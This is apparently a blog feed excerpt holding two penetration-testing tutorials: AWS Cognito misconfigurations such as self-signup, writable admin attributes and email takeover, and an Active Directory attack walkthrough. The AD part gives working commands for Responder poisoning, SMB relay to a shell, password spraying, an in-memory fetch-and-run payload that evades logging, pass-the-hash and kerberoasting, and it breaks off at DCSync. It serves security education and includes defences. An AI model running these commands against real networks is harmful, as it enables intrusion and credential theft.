<li><p>This includes admin login portals which implements AWS cognito allowing authentication bypass as a result.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908266326/fb473af6-0052-474b-936c-824d20190edb.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>For the explotation we need client ID which can be retrieved via JS files or HTTP request. After obtaining the client ID we can register an account with the following command via AWS cli:</p>
</li>
</ul>
<p><code>aws cognito-idp sign-up —client-id &lt;client-id&gt; —username &lt;email_address&gt; —password &lt;password&gt; —region &lt;region&gt;</code></p>
<p>Both successful and error in below evidence:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908287742/1af33cc8-0bc3-4bfc-898e-27f681f85a19.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>In case of a successful self-registration , a 6 digits confirmation code will be delivered to the attacker’s email address as shown below:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908309938/0aa4870d-09aa-48dd-8e85-428b317628d8.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Now we will need to confirm the account next using the following code:</p>
</li>
</ul>
<p><code>aws cognito-idp confirm-sign-up —client-id &lt;client-id&gt; —username &lt;email-address&gt; —confirmation-code &lt;confirmation-code&gt; —region &lt;region&gt;</code></p>
<h1 id="heading-privilege-escalation-through-writable-user-attributes">Privilege Escalation Through writable User attributes</h1>
<ul>
<li><p>Attributes are pieces of information that help you identify individual users. such as name, email address, and phone number. A new user pool has a set of default standard attributes.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908405979/1c14fcc1-a57b-4798-ad06-e79258386e91.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>We can also add custom attributes to your user pool definition in the AWS Management Console as shown below:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908439674/6b2bbcee-53db-4074-b6d5-4c357fe8b046.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Unless set as readable only, the new custom attribute permission is writable by default which allows the user to update it’s values.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908468425/1fd1ed8a-f336-40ba-b60f-7ac56334903b.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>In order to test against this misconfiguration, we need to be authenticated then we’ll fetch the available user attributes using the generated access token as shown as example below: ( Check Authorization header).</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908493291/3a704834-f9d2-4e6f-abbf-1585df148ccf.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p>After obtaining the access token , we can use the command given below to fetch the user attributes:</p>
<p><code>aws cognito-idp get-user —region &lt;region&gt; —access-token &lt;access-token&gt;</code></p>
<p>Fetched user attributes will look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908511972/cbb63201-6ae6-4a19-9524-726d205b0f22.png" alt class="image--center mx-auto" /></p>
<p>From the list we need to look for the custom attributes such as:</p>
<p><strong>custom:isAdmin</strong></p>
<p><strong>custom:userRole</strong></p>
<p><strong>custom:isActive</strong></p>
<p><strong>custom:isApproved</strong></p>
<p><strong>custom:accessLevel</strong></p>
<p>Now we will try to update the user attributes to check if they are write able using aws cli:</p>
<p><code>aws cognito-idp update-user-attributes —access-token &lt;access-token&gt; —region &lt;region&gt; —user-attributes Name=”&lt;attribute-name&gt;”, Value=”&lt;new-value&gt;”</code></p>
<h1 id="heading-updating-email-attribute-before-verification">Updating email attribute before verification</h1>
<ul>
<li>There are scenarios where the user isn’t allowed to update their email address due to both client and server-side security controls. However , by leveraging cognito API, it might also be possible to bypass this restriction.</li>
</ul>
<p>This can be achieved by using the following command:</p>
<p><code>aws cognito-idp update-user-attributes —access-token &lt;access-token&gt; —region &lt;region&gt; —user-attributes Name=”email”, Value=”&lt;new-email -address&gt;”</code></p>
<p>This is especially bad when verification isn’t required. If the email is relied upom for authorization and access control, this will result in horizontal and vertical privilege escalation.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908637102/1327bd89-631a-448b-8b3e-9004549b95ec.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Even with email verification enabled. most applications will update the email attribute value to the new unverified email address. This is bad because the user will be able still be able to login and obtain an authenticated access token using the unverified email address.</p>
</li>
<li><p>Many application do not necessarily check if email_verified is set to True or False. Therefore ,this would bypass any security controls that relies on email domain for authorization, hence privilege escalation.</p>
</li>
</ul>
<p><strong>Mitigation:</strong></p>
<ul>
<li><p>AWS has introduced a new security configuration to mitigate this issue, so if you have Keep original attribute value active when an update is pending explicitly enabled the email attribute will not be updated to the new email address until is verified.</p>
</li>
<li><p>This new security configuration was introduced on June 2022 which means no chance. (but still can be found maybe)</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908661931/e875f82c-62bd-4e3d-92e8-2f65051bac77.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<h1 id="heading-user-account-enumeration-via-signup-api">User Account Enumeration via Signup API</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908775103/6ff4fdbd-fea2-497c-b373-304e5f9a1c1f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908794468/f6b47e34-63cc-48b4-9166-d2b4b762c05f.png" alt class="image--center mx-auto" /></p>
<p>AWS has fixed the user account enumeration in login, but it is still possible using cognito Signup API using the following command:</p>
<p><code>aws cognito-idp sign-up —client-id &lt;Client_ID&gt; —username admin —password adminpass</code></p>
<p>Successful output will look something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730908808006/82aab517-afbe-46b2-9aec-5b82182474b3.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-recommendation">Recommendation</h1>
<ul>
<li><p>Remove sensitive details from server responses, including cognito identity pool id.</p>
</li>
<li><p>Disable signup on AWS cognito if not required.</p>
</li>
<li><p>Disable unauthenticated role if not required.</p>
</li>
<li><p>Review IAM policy attached to the authenticated and unauthenticated role to ensure least privilege access.</p>
</li>
<li><p>Evaluate all user attributes and disable writing permission if not necessary.</p>
</li>
<li><p>Remember that the email attribute value may hold an unverified email address.</p>
</li>
</ul>
<p>Hunting for cognito in pentest and bugbounty often leads to high or critical severity issues. Make sure to understand the application nature and try to bypass the business logic of the target application abusing the cognito misconfiguration can be a great win. If you are reading upto here, i would like to thank you for your patience and hope this will help you.</p>
]]></content:encoded></item><item><title><![CDATA[Active Directory Assessment]]></title><description><![CDATA[Active Directory Overview

What is Active Directory?

Directory service developed by Microsoft to manage Windows domain networks.

Stores information related to objects, such as Computers, Users, Printers, etc.

Think about it as a phone book for Win...]]></description><link>https://blog.bdhungana.com.np/active-directory-assessment</link><guid isPermaLink="true">https://blog.bdhungana.com.np/active-directory-assessment</guid><category><![CDATA[redteaming]]></category><category><![CDATA[Active Directory]]></category><dc:creator><![CDATA[Bibek Dhungana]]></dc:creator><pubDate>Thu, 15 Aug 2024 15:17:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1723731613607/87fe8855-ec09-4b8b-a574-e484115854ab.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ul>
<li><p><strong>Active Directory Overview</strong></p>
<ul>
<li><p>What is Active Directory?</p>
<ul>
<li><p>Directory service developed by Microsoft to manage Windows domain networks.</p>
</li>
<li><p>Stores information related to objects, such as Computers, Users, Printers, etc.</p>
</li>
<li><p>Think about it as a phone book for Windows</p>
</li>
<li><p>Authenticates using Kerberos tickets.</p>
</li>
<li><p>Non-Windows devices, such as Linux machines, firewalls, etc. can also authenticate to Active Directory via RADIUS or LDAP.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Why Active Directory Pentest?</strong></p>
<ul>
<li><p>Active Directory is the most commonly used identity management service in the world</p>
</li>
<li><p>95% of Fortune 1000 companies implement the service in their networks.</p>
</li>
<li><p>Can be exploited without ever attacking patch-able exploits.</p>
</li>
<li><p>Instead, we abuse features, trusts, components, and more.</p>
</li>
</ul>
</li>
<li><p><strong>Physical Components</strong></p>
<ul>
<li><p>Domain Controllers</p>
<ul>
<li><p>A domain controller is a server with the AD DS server role installed that has specifically been promoted to a domain controller.</p>
</li>
<li><p>Host a copy of the AD DS directory store.</p>
</li>
<li><p>Provide authentication and authorization services.</p>
</li>
<li><p>Replicate updates to other domain controllers in the domain and forest.</p>
</li>
<li><p>Allow administrative access to manage user accounts and network resource.</p>
</li>
</ul>
</li>
<li><p>AD DS Data Store</p>
<ul>
<li><p>The AD DS data store contains the database files and processes that store and manage directory information for users, services, and applications.</p>
</li>
<li><p>Consists of the Ntds.dit file.</p>
</li>
<li><p>Is stored by default in the %SystemRoot%\NTDS folder on all domain controllers which is accessible only through the domain controller processes and protocols.</p>
</li>
</ul>
</li>
<li><p><strong>Logical AD Components</strong></p>
<ul>
<li><p><strong>AD DS Schema</strong></p>
<ul>
<li><p>The AD DS Schema: Defines every type of object that can be stored in the directory Enforces rules regarding object creation and configuration.</p>
</li>
<li><p><strong>Domains</strong></p>
<ul>
<li>Domains are used to group and manage objects in an organization.</li>
</ul>
</li>
<li><p><strong>Trees</strong></p>
<ul>
<li><p>A domain tree is a hierarchy of domains in AD DS.</p>
</li>
<li><p>All domains in the tree:</p>
<ul>
<li><p>Share a contiguous namespace with the parent domain.</p>
</li>
<li><p>Can have additional child domains</p>
</li>
<li><p>By default create a two-way transitive trust with other domains</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Forests</strong></p>
<ul>
<li><p>A forest is a collection of one or more domain trees.</p>
</li>
<li><p>share a common configuration partition</p>
</li>
<li><p>Share a common global catalog to enable searching.</p>
</li>
<li><p>Enable trusts between all domains in the forest Share the Enterprise Admins and Schema Admins groups.</p>
</li>
</ul>
</li>
<li><p><strong>Organizational Units (Ous)</strong></p>
<ul>
<li><p>OUs are Active Directory containers that can contain users, groups, computers, and other OUs.</p>
</li>
<li><p>Represent your organization hierarchically and logically.</p>
</li>
<li><p>Manage a collection of objects in a consistent way Delegate permissions to administer groups of objects.</p>
</li>
<li><p>Apply policies.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Trusts</strong></p>
<ul>
<li><p>Trusts provide a mechanism for users to gain access to resources in another domain.</p>
</li>
<li><p><strong>Directional:</strong></p>
<ul>
<li>The trust direction flows from trusting domain to the trusted domain.</li>
</ul>
</li>
<li><p><strong>Transitive</strong></p>
<p>  The trust relationship is extended beyond a two-domain trust to include other trusted domains.</p>
</li>
<li><p>All domains in a forest trust all other domains in the forest Trusts can extend outside the forest.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Active Directory Reconnaissance:</strong></p>
<p>  After getting connected into the internal network with the in-scope network range in the hand, following tools can be used to enumerate the active directory infrastructure.</p>
</li>
<li><p>Host Discovery using nmap:</p>
<p>  <code>nmap -sn -v 192.168.10.0/24 -oA host_discovery_scan.txt</code></p>
</li>
<li><p>Full port scan with nmap:</p>
<p>  <code>nmap -p- --min-rate 10000 -oA all_port_scan.txt 192.168.10.5</code></p>
</li>
<li><p>Specific ports scan with nmap:</p>
<p>  <code>nmap -T4 -sCV -p 139,445,389,88,53,636 -oA ad_port_scan.txt 192.168.10.5</code></p>
</li>
<li><p>Network mapping with nxc:</p>
<p>  <code>nxc smb 192.168.10.0/24</code></p>
</li>
</ul>
<p>Note: You might have used the crackmapexec as your favourite swiss army knife. But, cme is no longer maintained. Thank me later &amp; just install <a target="_blank" href="https://github.com/Pennyw0rth/NetExec">nxc</a>.</p>
<p>So, after spending the time &amp; having the useful goodies via recon. Let's move further into getting the initial attack vector.</p>
<p><strong>Initial Attack Vectors:</strong></p>
<ul>
<li><p><strong>LLMNR Poisoning</strong></p>
<ul>
<li><p>It is used to identify hosts when DNS fails to do so and Previously known as NBT-NS.</p>
</li>
<li><p>Key flaw is that the services utilize a user's username and NTMLV1/NTLMV2 hash when appropriately responded to.</p>
</li>
</ul>
</li>
<li><p><strong>Explotation</strong>.</p>
<ul>
<li><p>Step 1: Running Responder to listen broadcast:</p>
<p>  <code>Sudo</code> <a target="_blank" href="http://Responsder.py"><code>responsder</code></a> <a target="_blank" href="http://responsder.py/"><code>-I eth0 -dw</code></a></p>
</li>
<li><p>Step 2: An event occurs including someone in the org messed up with the DNS issue ( lazy employees with the failed login attempt after having lunch).</p>
</li>
<li><p>Step 3: Get NTLMv1/NTLMv2 hashes.</p>
</li>
<li><p>Step 4: Save and cracking the hashes using hashcat:</p>
<p>  <code>hashcat -m &lt;insert_hash_here&gt; hashes.txt rockyou.txt</code></p>
</li>
</ul>
</li>
</ul>
<p>    Quick tip: Craft your own wordlist or pray with rockyou.</p>
<ul>
<li><p><strong>Defending LLMNR Poisoning</strong></p>
<ul>
<li><p>The best defense in this case is to disable LLMNR and NBT-NS.</p>
<ul>
<li><p>To disable LLMNR, select "Turn OFF Multicast Name Resolution" under Local Computer Policy &gt; Computer Configuration &gt; Administrative Templates &gt; Network &gt; DNŠ Client in the Group Policy Editor.</p>
</li>
<li><p>To disable NBT-NS, navigate to Network Connections &gt; Network Adapter Properties &gt; TCP/IPV4 Properties Advanced tab &gt; WINS tab and select "Disable NetBIOS over TCP/IP".</p>
</li>
</ul>
</li>
<li><p>If a company must use or cannot disable LLMNR/NBT-NS, the best course of action is to:</p>
<ul>
<li><p>Require Network Access Control.</p>
</li>
<li><p>Require strong user passwords (e.g., &gt;14 characters in length and limit common word usage). The more complex and long the password, the harder it is for an attacker to crack the hash.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>SMB Relay</strong></p>
<ul>
<li><p>Instead of cracking hashes gathered with Responder, we can instead relay those hashes to specific machines and potentially gain access as the local administrators.</p>
</li>
<li><p>To perform the successful SMB Relay attack:</p>
<ul>
<li><p>SMB signing should have been disabled in the organizational internal network infrastructure.</p>
</li>
<li><p>The obtained user should be a local administrator in the multiple machines.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Explotation:</strong></p>
<ul>
<li><p>Step 1 : Gathering the smb signing enabled hosts with nmap &amp; nxc:</p>
<p>  <code>nmap --script =smb2-security-mode nse -p 445 192.168.10.0/24</code></p>
<p>  <code>nxc smb 192.168.10.0/24</code></p>
</li>
<li><p>Step 2: Responder Configuration changes:</p>
<p>  <code>Editing the responder.conf ( setting SMB=off HTTP=off)</code></p>
<p>  Note: By doing this we will listen via reponder, but not respond to it on the servers.</p>
</li>
<li><p>Step 3: Run Responder now:</p>
<p>  <code>Sudo</code> <a target="_blank" href="http://Responsder.py"><code>responsder</code></a> <a target="_blank" href="http://responsder.py/"><code>-I eth0 -dw</code></a></p>
</li>
<li><p>Step 4: Run the ntmlrelayx tool with the target IP range:</p>
<p>  <code>impacket-ntlmrelayx -tf targets.txt -smb2 support</code></p>
</li>
<li><p>Step 5: Someone again tries to open wrong network drive or anything that cause DNS problem.</p>
</li>
<li><p>Step 6: Results start appearing including the authentication successful of victim local admin account in other machine, dumping local sam hashes and many more.</p>
</li>
<li><p>Step 7 : Getting the shell access with the ntlmrelayx tool:</p>
<p>  <code>impacket-ntlmrelayx -tf targets.txt -smb2support -i</code></p>
</li>
<li><p>Step 8: Getting connected using the netcat:</p>
<p>  <code>nc 192.168.10.1 1337</code></p>
</li>
</ul>
</li>
<li><p><strong>Defending SMB Relay</strong></p>
<ul>
<li><p>Enable SMB Signing on all devices.</p>
<ul>
<li><p>Pros: completely stops the smb relay attack.</p>
</li>
<li><p>Cons: can impact performance issues with file shares.</p>
</li>
</ul>
</li>
<li><p>Disable NTLM authentication on network.</p>
<ul>
<li><p>Pros: Completely stops the attack.</p>
</li>
<li><p>Cons: If kerberos stops working, windows defaults back to NTLM.</p>
</li>
</ul>
</li>
<li><p>Account Tiering:</p>
<ul>
<li><p>Pros: Limits domain admins to specific tasks.(e.g: only log into servers with need of Domain Admin)</p>
</li>
<li><p>Cons: Enforcing the policy may be difficult in the corporate environments.</p>
</li>
</ul>
</li>
<li><p>Local Admins Restriction/Limitations:</p>
<ul>
<li><p>Pros: Can Prevent alot of lateral movement.</p>
</li>
<li><p>Cons: Potential increase in the amount of service desk tickets.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>IPV6 DNS Takeover</strong></p>
<ul>
<li><p>There is the network infrastructure running IPv6, but not utilizing the IPv6.Quick question in the mind , if Ipv6 is not utilized nobody is working on it’s DNS resolution.Now Attacker will sit somewhere in the networking spoofing Ipv6 DNS. ( Listening all the traffic).There is the victim machine running IPv6, but not utilizing the IPv6.Quick question in the mind , if Ipv6 is not utilized nobody is working on it’s DNS resolution.Now Attacker will sit somewhere in the networking spoofing Ipv6 DNS. ( Listening all the traffic )</p>
<p>  In this process , the issue is an attacker can get authenticated to the domain controller. ( via LDAP, via SMB).</p>
</li>
<li><p>From this attack, we can achieve:</p>
<ul>
<li><p>we can use the DC (Domain controller) to create another machine.</p>
</li>
<li><p>Now, when somebody logged into the network or use their credentials somewhere an attacker can gain access to NTLM hashes.</p>
</li>
<li><p>We can also call this a LDAP Relay.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Explotation:</strong></p>
<ul>
<li><p>Step 1: Running the mitm6 tool with fake wpad.</p>
<p>  <code>mitm6 -d pentest.local</code></p>
</li>
<li><p>Running ntlmrelayx with the given required options:</p>
<p>  <code>impacket-</code><a target="_blank" href="http://ntmlrelayx.py"><code>ntmlrelayx</code></a> <a target="_blank" href="http://ntmlrelayx.py/"><code>-6 -t -wh</code></a> <code>fakewpad.pentest.local -l output_directory</code></p>
</li>
<li><p>Check the juicy results given by the tool including hashes, potential sensitive information leakage in the user descriptions.</p>
</li>
</ul>
</li>
<li><p>Defending IPV6 Relay:</p>
<ul>
<li><p>Ipv6 poisonings abuses the fact that windows queries for an IPv6 address even in IPv4-only environments.If you don’t use IPv6 internally the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in windows Firewall via Group policy.</p>
</li>
<li><p>Disabling IPV6 entirely may have unwanted side effects.</p>
</li>
<li><p>Setting the following pre-defined rules to block instead of Allow prevents the attack from working:</p>
<ul>
<li><p>(Inbound ) core networking- Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In).</p>
</li>
<li><p>(Inbound) Core Networking- Router Advertisement ( ICMPv6-In)</p>
</li>
<li><p>(Out bound) Core Networking- Dynamic Host Configuration Protocol for Ipv6 (DHCP-Out).</p>
</li>
<li><p>If WPAD is not in use internally, disable it via group policy and disabling the win HTTP Auto Proxy svc service.</p>
</li>
<li><p>Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.</p>
</li>
<li><p>Consider Administrative users to the protected users group or making them as Account is sensitive and cannot delegated, which will prevent any implementation of that user via delegation.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Password Profiling/Spraying</strong></p>
<p>  Its been years doing the internal active directory assessments all i can say with my experience is most of the initial foothold into the environment is through the password spray. All you can do is grab the commonly used password from the <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt">internet</a> or curate the wordlist based on the organization name. There are some tools out there for the help such as <a target="_blank" href="https://github.com/sc0tfree/mentalist.git">mentalist</a>. I prefer to go with the manual way for curating lists such as Orgname@1234, Orgname@2024 etc. Important thing is to spray the curated password responsibly since it might lockout users PC temporarily and can be a bad idea to annoy them.</p>
</li>
<li><p>Since we are unautheticated, crafting a user list with the smb null session enabled:</p>
<p>  <code>nxc smb &lt;dc_ip&gt; -u ' ' -p ' ' --users</code></p>
</li>
<li><p>Crafting a user list using the guest user enabled:</p>
<p>  <code>nxc smb &lt;dc_ip&gt; -u 'aaa' -p 'aaa' --users</code></p>
</li>
<li><p>Manually crafting the users list combining osint andcommon naming conventions in the active directory environment (john.cena, Jcena).</p>
</li>
<li><p>Spraying one password at a time in network range using nxc:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u users_list.txt -p 'Orgname@1234' | tee out.txt</code></p>
</li>
<li><p>Spraying one password at a time in network range using nxc for local administrators compromise:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u users_list.txt -p 'Orgname@1234' --local-auth | tee out.txt</code></p>
</li>
<li><p>Checking for winrm connection through the obtained valid credentials from previous spray using nxc:</p>
<p>  <code>nxc winrm &lt;ip_address&gt; -u 'john.cena' -p 'Orgname@1234'</code></p>
</li>
<li><p>Establishing winrm connection using evilwinrm:</p>
<p>  <code>evil-winrm -i &lt;ip_address&gt; -u 'john.cena' -p 'Orgname@1234'</code></p>
<p>  <strong>CVE checks</strong></p>
</li>
<li><p>Lets not forgot the old good goldmines aka CVEs that can lead to quick easy wins such as zero-logon, eternalblue and so on:</p>
<ul>
<li>Spinning up the basic nessus scan on the in-scope IP range can identify these potential CVEs.</li>
</ul>
</li>
</ul>
<p>    <strong>Post Compromise Enumeration</strong></p>
<p>    After getting some passwords and hashes let's perform post compromise enumeration using the tools such as <a target="_blank" href="https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1">powerview</a>, <a target="_blank" href="https://github.com/BloodHoundAD/BloodHound">bloodhound</a>.</p>
<ul>
<li><p>Common Powershell security bypass using the <a target="_blank" href="https://github.com/OmerYa/Invisi-Shell/blob/master/RunWithRegistryNonAdmin.bat">Invishell.</a></p>
<p>  Being in the modern enterprise security environment, there can be the annoying security products such as EDR/XDR in place. However, let's assume that our environment excludes those scenarios and focus on the basic powershell security bypasses. For the basic powershell security bypass we can use Invishell.</p>
<ul>
<li><p>The tool hooks the .NET assemblies (<a target="_blank" href="http://System.Management">System.Management</a>.Automation.dll and System.Core.dll) to bypass logging.</p>
</li>
<li><p>It uses a CLR Profiler API to perform the hook.</p>
</li>
<li><p>"A common language runtime (CLR) profiler is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time."</p>
</li>
<li><p>Downloading &amp; execute the Invishell in the memory using invoke expressions (iex) in powershell: ( this will probably take care of probable system wide transcription, script block logging &amp; AMSI):</p>
<p>  <code>iex (New-Object Net.WebClient).DownloadString('</code><a target="_blank" href="https://webserver/payload.ps1"><code>https://webserver/payload.ps1</code></a><code>')</code></p>
</li>
<li><p><strong>Post-Compromise Enumeration</strong></p>
<ol>
<li>Using the powerview:</li>
</ol>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>Downloading and executing the powerview in the memory using invoke expressions in the powershell:</p>
<p>  <code>iex (New-Object Net.WebClient).DownloadString('</code><a target="_blank" href="https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1"><code>https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1</code></a><code>')</code></p>
</li>
<li><p><strong>Get current domain:</strong></p>
<p>  <code>Get-Domain</code></p>
</li>
<li><p><strong>Get object of another domain</strong></p>
<p>  <code>Get-Domain -Domain wwe.local</code></p>
</li>
<li><p><strong>Get domain SID for the current domain</strong></p>
<p>  <code>Get-DomainSID</code></p>
</li>
<li><p><strong>Get domain policy for the current domain</strong></p>
<p>  <code>Get-DomainPolicyData (Get-DomainPolicyData).systemaccess</code></p>
</li>
<li><p><strong>Get domain policy for another domain</strong></p>
<p>  <code>(Get-DomainPolicyData -domain wwe.local).systemaccess</code></p>
</li>
<li><p><strong>Get domain controllers for the current domain</strong></p>
<p>  <code>Get-DomainController</code></p>
</li>
<li><p><strong>Get domain controllers for another domain</strong></p>
<p>  <code>Get-DomainController -Domain wwe.local</code></p>
</li>
<li><p><strong>Get a list of users in the current domain</strong></p>
<p>  <code>Get-DomainUser</code></p>
<p>  <code>Get-DomainUser -Identity john.cena</code></p>
</li>
<li><p><strong>Get list of all properties for users in the current domain</strong></p>
<p>  <code>Get-DomainUser -Identity john.cena -Properties *</code></p>
<p>  <code>Get-DomainUser -Properties samaccountname,logonCount</code></p>
</li>
<li><p><strong>Search for a particular string in a user's attributes</strong></p>
<p>  <code>Get-DomainUser -LDAPFilter "Description=built" | Select name,Description</code></p>
</li>
<li><p><strong>Get a list of computers in the current domain</strong></p>
<p>  <code>Get-DomainComputer | select Name</code></p>
<p>  <code>Get-DomainComputer -OperatingSystem "Server 2022"</code></p>
</li>
<li><p><strong>Get all the groups in the current domain</strong></p>
<p>  <code>Get-DomainGroup | select Name</code></p>
<p>  <code>Get-DomainGroup -Domain &lt;targetdomain&gt;</code></p>
</li>
<li><p><strong>Get all groups containing the word "admin" in group name</strong></p>
<p>  <code>Get-DomainGroup admin</code></p>
</li>
<li><p><strong>Get all the groups in the current domain</strong> <code>Get-DomainGroup | select Name Get-DomainGroup -Domain &lt;targetdomain&gt; Get-ADGroup -Filter * | select Name Get-ADGroup -Filter * -Properties *</code></p>
</li>
<li><p><strong>Get all groups containing the word "admin" in group name</strong> <code>Get-DomainGroup *admin* Get-ADGroup -Filter 'Name -like "*admin*"' | select Name</code></p>
</li>
<li><p><strong>To get the enterprise admin group via the forest root:</strong></p>
</li>
</ul>
<p>        <code>Get-DomainGroup *admin* -Domain &lt;forestname&gt; | select name</code></p>
<ul>
<li><p><strong>Get all the members of the Domain Admins group</strong></p>
<p>  <code>Get-DomainGroupMember -Identity "Domain Admins" -Recurse</code></p>
</li>
<li><p><strong>Get the group membership for a user:</strong></p>
<p>  <code>Get-DomainGroup -UserName "student1" Get-ADPrincipalGroupMembership -Identity student</code></p>
</li>
<li><p><strong>List all the local groups on a machine (needs administrator privs on non-dc machines) :</strong></p>
<p>  <code>Get-NetLocalGroup -ComputerName john-cenadc</code></p>
</li>
<li><p><strong>Get members of the local group "Administrators" on a machine (needs administrator privs on non-dc machines) :</strong></p>
<p>  <code>Get-NetLocalGroupMember -ComputerName john-cenadc -GroupName Administrators</code></p>
</li>
<li><p><strong>Get actively logged users on a computer (needs local admin rights on the target)</strong></p>
<p>  <code>Get-NetLoggedon -ComputerName johncena-dc</code></p>
</li>
<li><p><strong>Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)</strong></p>
<p>  <code>Get-LoggedonLocal -ComputerName johncena-dc</code></p>
</li>
<li><p><strong>Get the last logged user on a computer (needs administrative rights and remote registry on the target)</strong></p>
<p>  <code>Get-LastLoggedOn -ComputerName dcorp-adminsrv</code></p>
</li>
<li><p><strong>Find shares on hosts in current domain. (Bit noisy command)</strong></p>
<p>  <code>Invoke-ShareFinder -Verbose</code></p>
</li>
<li><p><strong>Find sensitive files on computers in the domain</strong></p>
<p>  <code>Invoke-FileFinder -Verbose</code></p>
</li>
<li><p><strong>Get all fileservers of the domain</strong></p>
<p>  <code>Get-NetFileServer</code></p>
</li>
</ul>
<ol start="2">
<li>Bloodhound: It is the famous tool heavily used during the post-enumeration of the active directory infrastructure.you can find the tool <a target="_blank" href="https://github.com/BloodHoundAD/BloodHound/">here.</a></li>
</ol>
<ul>
<li><p>Running sharp-hound assuming the access to the target powershell console:</p>
<p>  <code>powershell -ep bypass</code></p>
<p>  <code>..\</code><a target="_blank" href="http://sharpHound.ps"><code>sharpHound.ps</code></a><code>1 Invoke-BloodHound -CollectionMethod All -Domain MARVEL.local -ZipFileName out.zip</code></p>
</li>
</ul>
<p><strong>Post-Compromise Attacks:</strong></p>
<ol>
<li><strong>Pass the hash:</strong> For this post compromise attack we have to have the NTLM hashes and passwords gained during the previous enumeration phases.</li>
</ol>
<ul>
<li><p>Pass the password across the domain:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u 'john.cena' -p 'johncena@123</code>'</p>
</li>
<li><p>Pass the hash across the domain:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u 'john.cena' -H &lt;insert_hash_here&gt;</code></p>
</li>
<li><p>Pass the password to compromise local accounts:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u 'john.cena' -p “johncena@123” —local-auth</code></p>
</li>
<li><p>Pass the hash to compromise local accounts:</p>
<p>  <code>nxc smb &lt;ip_range&gt; -u 'john.cena' -H &lt;&lt;insert_password_here&gt;&gt; —local-auth</code></p>
</li>
</ul>
<ol start="2">
<li><strong>GPP/ cPassword Attacks (MS14-025) :</strong></li>
</ol>
<ul>
<li><p>Group Policy Preferences allowed admins to create policies using embedded credentials</p>
</li>
<li><p>These credentials were encrypted and placed in a "cPassword"</p>
</li>
<li><p>The key was accidentally released (whoops).</p>
</li>
<li><p>Patched in MS14-025, but doesn't prevent previous uses.</p>
</li>
<li><p>Obtain &amp; decrypt the password hash from SYSVOL's Groups.xml file.</p>
<p>  <code>gpp-decrypt &lt;insert_hash_here&gt;</code></p>
</li>
</ul>
<p>Now , after getting the credentials , we can try try psexec to get the shell to check for DA privilege.</p>
<ol start="3">
<li><strong>Kerberoasting</strong> :</li>
</ol>
<ul>
<li><p>Offline cracking of service account passwords.</p>
</li>
<li><p>The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.</p>
</li>
<li><p>Because (non-machine) service account passwords are not frequently changed, this has become a very popular attack!</p>
</li>
<li><p>Obtain the service account hash using impacket:</p>
<p>  <code>impacket-</code><a target="_blank" href="http://GetUserSPN.py"><code>GetUserSPN.py</code></a> <a target="_blank" href="http://getuserspn.py/"><code>-dc-ip -requ</code></a><code>est &lt;DOMAIN/username:password&gt; -dc-ip -request</code></p>
</li>
<li><p>Crack the hash using hashcat: (praying to god is must)</p>
<p>  <code>hashcat -m 13100 kerberoast.txt rockyou.txt</code></p>
</li>
</ul>
<ol start="4">
<li>DC-Sync Attack: Dc-sync is an attack that allows an attacker to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication. At this moment, we probably have domain admin access to the active directory, now we can extract credentials from the DC without code execution on it.</li>
</ol>
<ul>
<li><p>Extract Credentials using impacket-secretdumps:</p>
